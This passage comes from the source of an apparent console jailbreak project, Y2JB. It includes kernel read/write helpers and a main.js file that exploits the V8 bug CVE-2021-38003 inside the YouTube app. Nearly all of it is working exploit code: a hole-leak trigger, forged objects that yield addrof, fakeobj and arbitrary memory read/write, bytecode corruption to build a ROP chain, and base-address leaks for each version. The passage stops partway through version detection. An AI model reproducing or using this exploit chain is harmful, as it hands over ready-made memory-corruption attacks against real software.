    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer);
    
    syscall(SYSCALL.read, ipv6_kernel_rw.data.pipe_read_fd, uaddr, len);
};

ipv6_kernel_rw.copyin = function(uaddr, kaddr, len) {
   if (kaddr === null || kaddr === undefined || 
       uaddr === null || uaddr === undefined || 
       len === null || len === undefined || len === 0n) {
       throw new Error("copyout: invalid arguments");
   }
    
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, 0n);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer);
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer);
    
    syscall(SYSCALL.write, ipv6_kernel_rw.data.pipe_write_fd, uaddr, len);
};

ipv6_kernel_rw.read_buffer = function(kaddr, len) {
    let mem = ipv6_kernel_rw.data.read_mem;
    if (len > PAGE_SIZE) {
        mem = malloc(len);
    }
    
    ipv6_kernel_rw.copyout(kaddr, mem, BigInt(len));
    return read_buffer(mem, len);
};

ipv6_kernel_rw.write_buffer = function(kaddr, buf) {
    const temp_addr = malloc(buf.length);
    write_buffer(temp_addr, buf);
    ipv6_kernel_rw.copyin(temp_addr, kaddr, BigInt(buf.length));
};

```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kexp_2026_05_25.bin

Binary file available at https://raw.githubusercontent.com/Gezine/Y2JB/refs/heads/main/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kexp_2026_05_25.bin

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/main.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/main.js" 
/*
    Copyright (C) 2025 Gezine
    
    This software may be modified and distributed under the terms
    of the MIT license.  See the LICENSE file for details.
*/

const version_string = "Y2JB 1.6 by Gezine";

function load_localscript(src) {
    return new Promise((resolve, reject) => {
        const script = document.createElement('script');
        script.src = src;
        script.onload = resolve;
        script.onerror = reject;
        document.head.appendChild(script);
    });
}

(async function() {
    await load_localscript('global.js');
})();

let NETWORK_LOGGING = false;
// Use setlogserver.js payload to change server url at runtime
let LOG_SERVER = 'http://192.168.1.180:8080/log';

let _log_socket_fd = null;
let _log_socket_buf = null;
const _LOG_SOCKET_MAXLEN = 4096;

async function checkLogServer() {
    try {
        const timeoutPromise = new Promise((_, reject) => 
            setTimeout(() => reject(new Error('Timeout')), 800)
        );
        
        const fetchPromise = fetch(LOG_SERVER, {
            method: 'POST',
            body: 'Log server check from Y2JB'
        });
        
        await Promise.race([fetchPromise, timeoutPromise]);
        
        NETWORK_LOGGING = true;
    } catch (e) {
        NETWORK_LOGGING = false;
    }
}

let outputElement = null;
// hack for scrolling messages
let maxLines = 56;
const fontSize = Math.floor(window.innerHeight / maxLines * 0.85);
const leftPadding = Math.floor(window.innerWidth * 0.005);
const topPadding = Math.floor(window.innerHeight * 0.005);

async function log(msg) {
    let message = String(msg);
    if (!outputElement) {
        outputElement = document.getElementById('output');
        if (!outputElement) {
            outputElement = document.createElement('div');
            outputElement.id = 'output';
            document.body.appendChild(outputElement);
        }
        outputElement.style.paddingLeft = leftPadding + 'px';
        outputElement.style.paddingTop = topPadding + 'px'; 
    }
    
    const lines = message.split('\n');
    lines.forEach(line => {
        let lineDiv = document.createElement('div');
        lineDiv.textContent = line === '' ? '\u00A0' : line;
        lineDiv.style.fontSize = fontSize + 'px';
        
        outputElement.appendChild(lineDiv);
    });
    
    while (outputElement.children.length > maxLines) {
        outputElement.removeChild(outputElement.children[0]);
    }
    
    await new Promise(resolve => {
        requestAnimationFrame(() => {
            setTimeout(resolve, 1);
        });
    });
        
    if (NETWORK_LOGGING) {
        try {
            await fetch(LOG_SERVER, {
                method: 'POST',
                body: message,
            });
        } catch (e) { }
    }

    if (_log_socket_fd !== null && typeof syscall !== 'undefined') {
        try {
            if (!_log_socket_buf) {
                _log_socket_buf = malloc(_LOG_SOCKET_MAXLEN);
            }
            const line = message + '\n';
            const len = Math.min(line.length, _LOG_SOCKET_MAXLEN);
            for (let i = 0; i < len; i++) {
                write8(_log_socket_buf + BigInt(i), line.charCodeAt(i) & 0xFF);
            }
            let sent = 0;
            while (sent < len) {
                const n = syscall(SYSCALL.write, _log_socket_fd, _log_socket_buf + BigInt(sent), BigInt(len - sent));
                const nv = Number(n);
                if (nv <= 0) break;
                sent += nv;
            }
        } catch (e) { }
    }
}

function toHex(num) {
    return '0x' + BigInt(num).toString(16).padStart(16, '0');
}

function trigger() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => {
            v1 = v5.errors;
        });
    }
    f0.resolve = function (v6) {
        return v6;
    };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1];
}

(async function() {
    try {
        await log(version_string);
        await log('Starting Exploit');
        
        await gc();
        await gc();
        await gc();
        await gc();
        
        // CVE-2021-38003
        // CVE-2022-4174 faster hole leak
        // https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
        let hole = trigger();
        
        for (let i = 0; i < 0x10; i++) {
            map1 = new Map();
            map1.set(1, 1);
            map1.set(hole, 1);
            map1.delete(hole);
            map1.delete(hole);
            map1.delete(1);
            oob_arr = new BigUint64Array([0x4141414141414141n]);
        }
        
        victim_arr = new BigUint64Array([0x4343434343434343n, 0x4343434343434343n]);
        obj_arr = [{}, {}];

        map1.set(0x1e, -1);
        gc();
        map1.set(0x0, 0x1);
        
        //oob_arr[31] : 0x2 -- victim_arr length
        //oob_arr[32] : 0xf -- victim_arr ExternalPointer_t 
        //oob_arr[33] : 0x27e8412d1 -- victm_arr base_pointer
        
        await log ("oob_arr length : " + toHex(oob_arr.length));
        
        const oob_arr_before = [];
        for (let i = 0; i < 100; i++) {
            oob_arr_before[i] = oob_arr[i];
        }
        
        obj_arr[0] = 0x1n;

        let obj_arr_offset = -1;
        for (let i = 0; i < 100; i++) {
            if (oob_arr[i] !== oob_arr_before[i]) {
                obj_arr_offset = i;
                break;
            }
        }

        //await log('obj_arr_offset : ' + obj_arr_offset);
        
        if (obj_arr_offset === -1) {
            throw new Error("Failed to get unstable primitive");
        }
        
        await log("Unstable primitive achieved");
        
        function addrof_unstable(obj) {
            const obj_arr_org_value = oob_arr[obj_arr_offset];
            obj_arr[0] = obj;
            const addr = oob_arr[obj_arr_offset] - 1n;
            oob_arr[obj_arr_offset] = obj_arr_org_value;
            return addr;
        }
        
        function read64_unstable(addr) {
            const victim_arr_org_base = oob_arr[33];
            oob_arr[33] = addr - 0xfn;
            const value = victim_arr[0];
            oob_arr[33] = victim_arr_org_base;
            return value;
        }
        
        function write64_unstable(addr, value) {
            const victim_arr_org_base = oob_arr[33];
            oob_arr[33] = addr - 0xfn;
            victim_arr[0] = value;
            oob_arr[33] = victim_arr_org_base;
        }
        
        function create_fakeobj_unstable(addr) {
            const obj_arr_org_value = oob_arr[obj_arr_offset];
            oob_arr[obj_arr_offset] = addr + 1n;
            const fake_obj = obj_arr[0];
            oob_arr[obj_arr_offset] = obj_arr_org_value;
            return fake_obj;
        }                
        
        // Allocate Large Object Space with proper page metadata
        // Create object array first to initialize page structures
        const stable_array = new Array(0x10000);
        for (let i = 0; i < stable_array.length; i++) {
            stable_array[i] = {};
        }
                        
        // Get FixedDoubleArray map from a template
        const double_template = new Array(0x10);
        double_template.fill(3.14);
        const double_template_addr = addrof_unstable(double_template);
        const double_elements_addr = read64_unstable(double_template_addr + 0x10n) - 1n;
        const fixed_double_array_map = read64_unstable(double_elements_addr + 0x00n);
        
        // Get stable_array addresses
        const stable_array_addr = addrof_unstable(stable_array);
        const stable_elements_addr = read64_unstable(stable_array_addr + 0x10n) - 1n;
        
        // Transform elements to FixedDoubleArray
        // This makes GC happy later
        write64_unstable(stable_elements_addr + 0x00n, fixed_double_array_map);
        
        // Get templates for large external storage arrays
        const template_biguint = new BigUint64Array(64);
        const template_biguint_addr = addrof_unstable(template_biguint);
        const template_biguint_elements = read64_unstable(template_biguint_addr + 0x10n) - 1n;
        
        const biguint_map = read64_unstable(template_biguint_addr + 0x00n);
        const biguint_props = read64_unstable(template_biguint_addr + 0x08n);
        const biguint_elem_map = read64_unstable(template_biguint_elements + 0x00n);
        const biguint_elem_len = read64_unstable(template_biguint_elements + 0x08n);
        
        // Get template for small inline storage arrays
        const template_small = new BigUint64Array(8);
        const template_small_addr = addrof_unstable(template_small);
        const template_small_buffer_addr = read64_unstable(template_small_addr + 0x18n) - 1n;
        const template_small_elements_addr = read64_unstable(template_small_addr + 0x10n) - 1n;
        
        const small_map = read64_unstable(template_small_addr + 0x00n);
        const small_props = read64_unstable(template_small_addr + 0x08n);
        const small_elem_map = read64_unstable(template_small_elements_addr + 0x00n);
        const small_elem_length_field = read64_unstable(template_small_elements_addr + 0x08n);
        
        const small_buffer_map = read64_unstable(template_small_buffer_addr + 0x00n);
        const small_buffer_props = read64_unstable(template_small_buffer_addr + 0x08n);
        const small_buffer_elements = read64_unstable(template_small_buffer_addr + 0x10n);
        const small_buffer_bit_field = read64_unstable(template_small_buffer_addr + 0x30n);
        
        // Get template for ArrayBuffer
        const template_buffer = new ArrayBuffer(1024);
        const template_buffer_addr = addrof_unstable(template_buffer);
        const template_buffer_elements = read64_unstable(template_buffer_addr + 0x10n) - 1n;
        
        const buffer_map = read64_unstable(template_buffer_addr + 0x00n);
        const buffer_props = read64_unstable(template_buffer_addr + 0x08n);
        const buffer_elem_map = read64_unstable(template_buffer_elements + 0x00n);
        const buffer_elem_len = read64_unstable(template_buffer_elements + 0x08n);
        
        // Get template for Array object
        const template_array = [{}, {}];
        const template_array_addr = addrof_unstable(template_array);
        const template_array_elements_addr = read64_unstable(template_array_addr + 0x10n) - 1n;
        
        const array_map = read64_unstable(template_array_addr + 0x00n);
        const array_props = read64_unstable(template_array_addr + 0x08n);
        const array_elem_map = read64_unstable(template_array_elements_addr + 0x00n);
        
        // Get template for double object
        const heap_number = 1.1;
        const heap_number_addr = addrof_unstable(heap_number);
        const heap_number_map = read64_unstable(heap_number_addr);
        
        const base = stable_elements_addr + 0x2000n;
        
        // Main data region that fake_rw will read/write
        const fake_rw_data = base + 0x0000n;
        
        // Inside fake_rw_data: fake Array's elements (at the beginning)
        const fake_array_elements_data = fake_rw_data + 0x0000n;
        // Structure: +0x00: map, +0x08: length, +0x10: slot[0], +0x18: slot[1], ...
        
        const fake_arr2_obj = base + 0x0100n;
        const fake_arr2_elements = base + 0x0150n;
        const fake_rw2_data = base + 0x0200n;
        
        // +0x00: ArrayBuffer (0x38 bytes)
        // +0x48: Elements FixedArray (0x10 bytes header)
        // +0x58: Data (64 bytes for 8 uint64s)
        // +0x98: BigUint64Array object (0x48 bytes)
        
        const fake_bc_base = base + 0x0400n;
        const fake_bc_buffer = fake_bc_base + 0x00n;
        const fake_bc_elements = fake_bc_base + 0x48n;
        const fake_bc_data = fake_bc_base + 0x58n;
        const fake_bc_obj = fake_bc_base + 0x98n;
        
        const fake_frame_base = base + 0x0600n;
        const fake_frame_buffer = fake_frame_base + 0x00n;
        const fake_frame_elements = fake_frame_base + 0x48n;
        const fake_frame_data = fake_frame_base + 0x58n;
        const fake_frame_obj = fake_frame_base + 0x98n;
        
        const fake_buffer_rw2_obj = base + 0x0800n;
        const fake_buffer_rw2_elements = base + 0x0850n;
        
        // Objects outside fake_rw accessible range
        const fake_buffer_rw_obj = base + 0x1000n;
        const fake_buffer_rw_elements = base + 0x1050n;
        const fake_array_obj = base + 0x1100n;
        const fake_rw_obj = base + 0x1200n;
        const fake_rw_elements = base + 0x1250n;
        
        // ROP chain with external storage
        const fake_rop_chain_data = base + 0x2000n;
        const fake_rop_chain_buffer_obj = base + 0x3000n;
        const fake_rop_chain_buffer_elements = base + 0x3050n;
        const fake_rop_chain_obj = base + 0x3100n;
        const fake_rop_chain_elements = base + 0x3150n;
        
        // return_value_buf with inline storage
        const fake_return_value_elements = base + 0x4000n;
        const fake_return_value_buffer_obj = base + 0x4100n;
        const fake_return_value_buffer_elements = base + 0x4150n;
        const fake_return_value_obj = base + 0x4200n;
        
        // Create fake Array elements inside fake_rw_data region
        // FixedArray: map + length + data slots
        write64_unstable(fake_array_elements_data + 0x00n, array_elem_map);
        write64_unstable(fake_array_elements_data + 0x08n, 0x0000001000000000n);  // length = 16 slots (Smi)
        
        for (let i = 0n; i < 16n; i++) {
            write64_unstable(fake_array_elements_data + 0x10n + i * 8n, 0n);
        }
        
        // Create fake Array object pointing to elements inside fake_rw_data
        write64_unstable(fake_array_obj + 0x00n, array_map);
        write64_unstable(fake_array_obj + 0x08n, array_props);
        write64_unstable(fake_array_obj + 0x10n, fake_array_elements_data + 1n);  // elements (tagged)
        write64_unstable(fake_array_obj + 0x18n, 0x0000001000000000n);  // length = 16 (Smi)
        
        // Create fake ArrayBuffer #1 elements
        write64_unstable(fake_buffer_rw_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_buffer_rw_elements + 0x08n, buffer_elem_len);
        
        // Create fake ArrayBuffer #1 (buffer_rw)
        write64_unstable(fake_buffer_rw_obj + 0x00n, buffer_map);
        write64_unstable(fake_buffer_rw_obj + 0x08n, buffer_props);
        write64_unstable(fake_buffer_rw_obj + 0x10n, fake_buffer_rw_elements + 1n);
        write64_unstable(fake_buffer_rw_obj + 0x18n, 0x1000n);  // byte_length
        write64_unstable(fake_buffer_rw_obj + 0x20n, fake_rw_data);  // backing_store
        write64_unstable(fake_buffer_rw_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_buffer_rw_obj + 0x30n, 0n);  // bit_field
        
        // Create fake ArrayBuffer #2 elements
        write64_unstable(fake_buffer_rw2_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_buffer_rw2_elements + 0x08n, buffer_elem_len);
        
        // Create fake ArrayBuffer #2 (buffer_rw2)
        write64_unstable(fake_buffer_rw2_obj + 0x00n, buffer_map);
        write64_unstable(fake_buffer_rw2_obj + 0x08n, buffer_props);
        write64_unstable(fake_buffer_rw2_obj + 0x10n, fake_buffer_rw2_elements + 1n);
        write64_unstable(fake_buffer_rw2_obj + 0x18n, 0x200n);  // byte_length
        write64_unstable(fake_buffer_rw2_obj + 0x20n, fake_rw2_data);  // backing_store
        write64_unstable(fake_buffer_rw2_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_buffer_rw2_obj + 0x30n, 0n);  // bit_field
        
        // Create fake BigUint64Array #2 elements
        write64_unstable(fake_arr2_elements + 0x00n, biguint_elem_map);
        write64_unstable(fake_arr2_elements + 0x08n, biguint_elem_len);
        
        // Create fake BigUint64Array #2 (fake_arr2)
        write64_unstable(fake_arr2_obj + 0x00n, biguint_map);
        write64_unstable(fake_arr2_obj + 0x08n, biguint_props);
        write64_unstable(fake_arr2_obj + 0x10n, fake_arr2_elements + 1n);
        write64_unstable(fake_arr2_obj + 0x18n, fake_buffer_rw2_obj + 1n);
        write64_unstable(fake_arr2_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_arr2_obj + 0x28n, 0x200n);  // byte_length
        write64_unstable(fake_arr2_obj + 0x30n, 0x40n);  // length
        write64_unstable(fake_arr2_obj + 0x38n, fake_rw2_data);  // external_pointer
        write64_unstable(fake_arr2_obj + 0x40n, 0n);  // base_pointer
        
        // Create fake BigUint64Array #1 elements
        write64_unstable(fake_rw_elements + 0x00n, biguint_elem_map);
        write64_unstable(fake_rw_elements + 0x08n, biguint_elem_len);
        
        // Create fake BigUint64Array #1 (fake_rw) - overlaps with fake_rw_data
        write64_unstable(fake_rw_obj + 0x00n, biguint_map);
        write64_unstable(fake_rw_obj + 0x08n, biguint_props);
        write64_unstable(fake_rw_obj + 0x10n, fake_rw_elements + 1n);
        write64_unstable(fake_rw_obj + 0x18n, fake_buffer_rw_obj + 1n);
        write64_unstable(fake_rw_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_rw_obj + 0x28n, 0x1000n);  // byte_length
        write64_unstable(fake_rw_obj + 0x30n, 0x200n);  // length (increased to 512)
        write64_unstable(fake_rw_obj + 0x38n, fake_rw_data);  // external_pointer
        write64_unstable(fake_rw_obj + 0x40n, 0n);  // base_pointer
        
        // ArrayBuffer (0x00 - 0x37)
        write64_unstable(fake_bc_buffer + 0x00n, small_buffer_map);
        write64_unstable(fake_bc_buffer + 0x08n, small_buffer_props);
        write64_unstable(fake_bc_buffer + 0x10n, small_buffer_elements);
        write64_unstable(fake_bc_buffer + 0x18n, 0x40n);  // byte_length
        write64_unstable(fake_bc_buffer + 0x20n, 0n);     // backing_store = NULL
        write64_unstable(fake_bc_buffer + 0x28n, 0n);     // extension
        write64_unstable(fake_bc_buffer + 0x30n, small_buffer_bit_field);
        
        // Padding (0x38 - 0x47) - 16 bytes of zeros
        write64_unstable(fake_bc_buffer + 0x38n, 0n);
        write64_unstable(fake_bc_buffer + 0x40n, 0n);
        
        // Elements (0x48 - 0x57)
        write64_unstable(fake_bc_elements + 0x00n, small_elem_map);
        write64_unstable(fake_bc_elements + 0x08n, small_elem_length_field);
        
        // BigUint64Array object (0x98 - 0xDF)
        write64_unstable(fake_bc_obj + 0x00n, small_map);
        write64_unstable(fake_bc_obj + 0x08n, small_props);
        write64_unstable(fake_bc_obj + 0x10n, fake_bc_elements + 1n);  // elements (tagged)
        write64_unstable(fake_bc_obj + 0x18n, fake_bc_buffer + 1n);    // buffer (tagged)
        write64_unstable(fake_bc_obj + 0x20n, 0n);     // byte_offset
        write64_unstable(fake_bc_obj + 0x28n, 0x40n);  // byte_length = 64
        write64_unstable(fake_bc_obj + 0x30n, 0x8n);   // length = 8
        write64_unstable(fake_bc_obj + 0x38n, 0xfn);   // external_ptr = 15
        write64_unstable(fake_bc_obj + 0x40n, fake_bc_elements + 1n);  // base_pointer (tagged)
        
        write64_unstable(fake_frame_buffer + 0x00n, small_buffer_map);
        write64_unstable(fake_frame_buffer + 0x08n, small_buffer_props);
        write64_unstable(fake_frame_buffer + 0x10n, small_buffer_elements);
        write64_unstable(fake_frame_buffer + 0x18n, 0x40n);
        write64_unstable(fake_frame_buffer + 0x20n, 0n);
        write64_unstable(fake_frame_buffer + 0x28n, 0n);
        write64_unstable(fake_frame_buffer + 0x30n, small_buffer_bit_field);
        
        write64_unstable(fake_frame_buffer + 0x38n, 0n);  // Padding ?
        write64_unstable(fake_frame_buffer + 0x40n, 0n);  // Padding
        
        write64_unstable(fake_frame_elements + 0x00n, small_elem_map);
        write64_unstable(fake_frame_elements + 0x08n, small_elem_length_field);
        
        // This looks like BigUint64Array but it is NOT!!!!
        // Using BigUint64Array for fake frame makes GC angry
        // Instead use double object
        // But I will leave BigUint64Array struct except map
        // So I can keep use the existing ROP code
        write64_unstable(fake_frame_obj + 0x00n, heap_number_map);
        write64_unstable(fake_frame_obj + 0x08n, small_props);
        write64_unstable(fake_frame_obj + 0x10n, fake_frame_elements + 1n);
        write64_unstable(fake_frame_obj + 0x18n, fake_frame_buffer + 1n);
        write64_unstable(fake_frame_obj + 0x20n, 0n);
        write64_unstable(fake_frame_obj + 0x28n, 0x40n);
        write64_unstable(fake_frame_obj + 0x30n, 0x8n);
        write64_unstable(fake_frame_obj + 0x38n, 0xfn);
        write64_unstable(fake_frame_obj + 0x40n, fake_frame_elements + 1n);
        
        for (let i = 0n; i < 0x40n; i += 8n) {
            write64_unstable(fake_bc_data + i, 0n);
            write64_unstable(fake_frame_data + i, 0n);
        }
        
        // Create fake rop_chain elements
        write64_unstable(fake_rop_chain_elements + 0x00n, biguint_elem_map);
        write64_unstable(fake_rop_chain_elements + 0x08n, biguint_elem_len);
        
        // Create fake rop_chain ArrayBuffer elements
        write64_unstable(fake_rop_chain_buffer_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_rop_chain_buffer_elements + 0x08n, buffer_elem_len);
        
        // Create fake rop_chain ArrayBuffer
        write64_unstable(fake_rop_chain_buffer_obj + 0x00n, buffer_map);
        write64_unstable(fake_rop_chain_buffer_obj + 0x08n, buffer_props);
        write64_unstable(fake_rop_chain_buffer_obj + 0x10n, fake_rop_chain_buffer_elements + 1n);
        write64_unstable(fake_rop_chain_buffer_obj + 0x18n, 0x800n);  // byte_length
        write64_unstable(fake_rop_chain_buffer_obj + 0x20n, fake_rop_chain_data);  // backing_store
        write64_unstable(fake_rop_chain_buffer_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_rop_chain_buffer_obj + 0x30n, 0n);  // bit_field
        
        // Create fake rop_chain BigUint64Array (external storage)
        write64_unstable(fake_rop_chain_obj + 0x00n, biguint_map);
        write64_unstable(fake_rop_chain_obj + 0x08n, biguint_props);
        write64_unstable(fake_rop_chain_obj + 0x10n, fake_rop_chain_elements + 1n);
        write64_unstable(fake_rop_chain_obj + 0x18n, fake_rop_chain_buffer_obj + 1n);
        write64_unstable(fake_rop_chain_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_rop_chain_obj + 0x28n, 0x800n);  // byte_length
        write64_unstable(fake_rop_chain_obj + 0x30n, 0x100n);  // length
        write64_unstable(fake_rop_chain_obj + 0x38n, fake_rop_chain_data);  // external_pointer
        write64_unstable(fake_rop_chain_obj + 0x40n, 0n);  // base_pointer
        
        // Create fake return_value_buf elements (inline storage)
        write64_unstable(fake_return_value_elements + 0x00n, small_elem_map);
        write64_unstable(fake_return_value_elements + 0x08n, small_elem_length_field);
        
        // Create fake return_value_buf ArrayBuffer elements
        write64_unstable(fake_return_value_buffer_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_return_value_buffer_elements + 0x08n, buffer_elem_len);
        
        // Create fake return_value_buf ArrayBuffer
        write64_unstable(fake_return_value_buffer_obj + 0x00n, small_buffer_map);
        write64_unstable(fake_return_value_buffer_obj + 0x08n, small_buffer_props);
        write64_unstable(fake_return_value_buffer_obj + 0x10n, small_buffer_elements);
        write64_unstable(fake_return_value_buffer_obj + 0x18n, 0x40n);  // byte_length
        write64_unstable(fake_return_value_buffer_obj + 0x20n, 0n);  // backing_store = null
        write64_unstable(fake_return_value_buffer_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_return_value_buffer_obj + 0x30n, small_buffer_bit_field);
        
        // Create fake return_value_buf BigUint64Array (inline storage)
        write64_unstable(fake_return_value_obj + 0x00n, small_map);
        write64_unstable(fake_return_value_obj + 0x08n, small_props);
        write64_unstable(fake_return_value_obj + 0x10n, fake_return_value_elements + 1n);
        write64_unstable(fake_return_value_obj + 0x18n, fake_return_value_buffer_obj + 1n);
        write64_unstable(fake_return_value_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_return_value_obj + 0x28n, 0x40n);  // byte_length
        write64_unstable(fake_return_value_obj + 0x30n, 0x8n);  // length
        write64_unstable(fake_return_value_obj + 0x38n, 0xfn);  // external_pointer
        write64_unstable(fake_return_value_obj + 0x40n, fake_return_value_elements + 1n);  // base_pointer
        
        // Materialize fake objects
        const fake_rw = create_fakeobj_unstable(fake_rw_obj);
        const fake_arr2 = create_fakeobj_unstable(fake_arr2_obj);
        const fake_array = create_fakeobj_unstable(fake_array_obj);
        
        // Calculate offsets for accessing via fake_rw
        const arr2_external_offset = Number((fake_arr2_obj + 0x38n - fake_rw_data) / 8n);
        const fake_array_slot0_offset = Number((fake_array_elements_data + 0x10n - fake_rw_data) / 8n);
        
        // Stable primitives
        addrof = function(obj) {
            const arr_elements_org = fake_rw[fake_array_slot0_offset];
            fake_array[0] = obj;
            const addr = fake_rw[fake_array_slot0_offset] - 1n;
            fake_rw[fake_array_slot0_offset] = arr_elements_org;
            return addr;
        }
        
        read64 = function(addr) {
            const arr2_external_org = fake_rw[arr2_external_offset];
            fake_rw[arr2_external_offset] = addr;
            const value = fake_arr2[0];
            fake_rw[arr2_external_offset] = arr2_external_org;
            return value;
        }
        
        write64 = function(addr, value) {
            const arr2_external_org = fake_rw[arr2_external_offset];
            fake_rw[arr2_external_offset] = addr;
            fake_arr2[0] = value;
            fake_rw[arr2_external_offset] = arr2_external_org;
        }
        
        create_fakeobj = function(addr) {
            const arr_elements_org = fake_rw[fake_array_slot0_offset];
            fake_rw[fake_array_slot0_offset] = addr + 1n;
            const fake_obj = fake_array[0];
            fake_rw[fake_array_slot0_offset] = arr_elements_org;
            return fake_obj;
        }                

        read8 = function(addr) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            return (qword >> BigInt(byte_offset * 8)) & 0xFFn;
        }

        write8 = function(addr, value) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            const mask = 0xFFn << BigInt(byte_offset * 8);
            const new_qword = (qword & ~mask) | ((BigInt(value) & 0xFFn) << BigInt(byte_offset * 8));
            write64(addr & ~7n, new_qword);
        }

        read16 = function(addr) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            return (qword >> BigInt(byte_offset * 8)) & 0xFFFFn;
        }
        
        write16 = function(addr, value) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            const mask = 0xFFFFn << BigInt(byte_offset * 8);
            const new_qword = (qword & ~mask) | ((BigInt(value) & 0xFFFFn) << BigInt(byte_offset * 8));
            write64(addr & ~7n, new_qword);
        }
        
        read32 = function(addr) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            return (qword >> BigInt(byte_offset * 8)) & 0xFFFFFFFFn;
        }

        write32 = function(addr, value) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            const mask = 0xFFFFFFFFn << BigInt(byte_offset * 8);
            const new_qword = (qword & ~mask) | ((BigInt(value) & 0xFFFFFFFFn) << BigInt(byte_offset * 8));
            write64(addr & ~7n, new_qword);
        }
        
        get_backing_store = function(typed_array) {
            const obj_addr = addrof(typed_array);
            const external = read64(obj_addr + 0x38n);
            const base = read64(obj_addr + 0x40n);
            return base + external;
        }
        
        malloc = function(size) {
            const buffer = new ArrayBuffer(Number(size));
            const buffer_addr = addrof(buffer);
            const backing_store = read64(buffer_addr + 0x20n);
            allocated_buffers.push(buffer);
            return backing_store;
        }
        
        await log("Stable primitive achieved");
        
        await log("Setting up ROP...");
        
        // https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution
        // We don't have pointer compression
        
        // Make bytecode larger and just use it's address
        // No separate fake bytecode buffer
        pwn = function(x) {
            let dummy1 = x + 1;
            let dummy2 = x + 2;
            let dummy3 = x + 3;
            let dummy4 = x + 4;
            let dummy5 = x + 5;
            return x;
        }
        
        pwn(1); // Generate bytecode
        
        get_bytecode_addr = function() {
            const pwn_addr = addrof(pwn); // JSFunction
            const sfi_addr = read64(pwn_addr + 0x18n) - 1n; // SharedFunctionInfo
            const bytecode_addr = read64(sfi_addr + 0x8n) - 1n; // BytecodeArray
            return bytecode_addr;
        }
        
        rop_chain = create_fakeobj(fake_rop_chain_obj);
        fake_bc = create_fakeobj(fake_bc_obj);
        fake_frame = create_fakeobj(fake_frame_obj);
        return_value_buf = create_fakeobj(fake_return_value_obj);
        
        //await log("fake_bc @ " + toHex(addrof(fake_bc)));
        //await log("fake_frame @ " + toHex(addrof(fake_frame)));
        
        const bytecode_addr = get_bytecode_addr();
        //await log("BytecodeArray @ " + toHex(bytecode_addr));
        
        bc_start = bytecode_addr + 0x36n;
        write64(bc_start, 0xAB0025n);
        
        const stack_addr = addrof(pwn(1)) + 0x1n;
        await log("Stack leak @ " + toHex(stack_addr));
        
        const text_leak = read64(stack_addr + 0x8n);
        await log("Text leak @ " + toHex(text_leak));
        const text_leak_mask = text_leak & 0xFFFn;
        
        if (text_leak_mask == 0x81Fn) {
            Y2_VERSION = "01.000.003 (min fw 4.03)";
            await log("Youtube " + Y2_VERSION + " detected");
            Y2_OFFSET = Y2_OFFSET_403;
            ROP = ROP_403;
            
            eboot_base = read64(stack_addr + 0x8n) - Y2_OFFSET.EBOOT_LEAK;
            await log("eboot_base @ " + toHex(eboot_base));

            libc_base = read64(eboot_base + Y2_OFFSET.LIBC_LEAK1) - Y2_OFFSET.LIBC_LEAK2;
            await log("libc_base @ " + toHex(libc_base));
            
        } else if (text_leak_mask == 0xFDFn) {
            Y2_VERSION = "01.000.030 (min fw 12.20)";
            await log("Youtube " + Y2_VERSION + " detected");
            Y2_OFFSET = Y2_OFFSET_1220;
            ROP = ROP_1220;

            libcobalt_base = read64(stack_addr + 0x8n) - Y2_OFFSET.LIBCOBALT_LEAK;
            await log("libcobalt_base @ " + toHex(libcobalt_base));
            
            libstarboard_base = read64(libcobalt_base + Y2_OFFSET.LIBSTARBOARD_LEAK1) - Y2_OFFSET.LIBSTARBOARD_LEAK2;
            await log("libstarboard_base @ " + toHex(libstarboard_base));
            
            libc_base = read64(libstarboard_base + Y2_OFFSET.LIBC_LEAK1) - Y2_OFFSET.LIBC_LEAK2;
            await log("libc_base @ " + toHex(libc_base));
            
        } else if (text_leak_mask == 0x73fn) {
            Y2_VERSION = "01.009.202 (min fw 13.20)";
            await log("Youtube " + Y2_VERSION + " detected");
            Y2_OFFSET = Y2_OFFSET_1320;
            ROP = ROP_1320;

